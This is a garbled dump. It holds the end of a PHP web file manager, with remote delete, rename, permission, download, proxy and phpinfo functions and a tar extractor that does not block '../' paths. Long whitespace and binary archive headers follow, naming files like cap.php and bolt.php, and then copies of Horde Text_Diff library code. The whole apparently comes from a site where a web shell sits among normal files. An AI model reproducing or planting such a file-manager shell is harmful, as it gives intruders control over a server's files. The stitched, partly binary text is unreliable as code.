		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\FI  I  	            e  error_lognu [        PK       |\p`\~  \~  
             Engine.zipnu [        PK       |\o< <  <             $ bolt.php.tarnu [        PK       |\&\d d             ` Renderer.tar.gznu [        PK       |\tF3)9 )9             . cap.phpnu [        PK       |\tT                  g inline.php.tarnu [        PK       |\a  a              3 bolt.php.php.tar.gznu [        PK       |\'ݣ    
             inline.phpnu [        PK       |\ \                 Renderer.tarnu [        PK       |\Ќ5 5             - bolt.phpnu [        PK       |\FL @  @             J cap.php.tarnu [        PK                                                                                                                                                                                                                                                                                                                                                                                                          Engine.zip                                                                                          0000644                 00000077134 15217301643 0006513 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
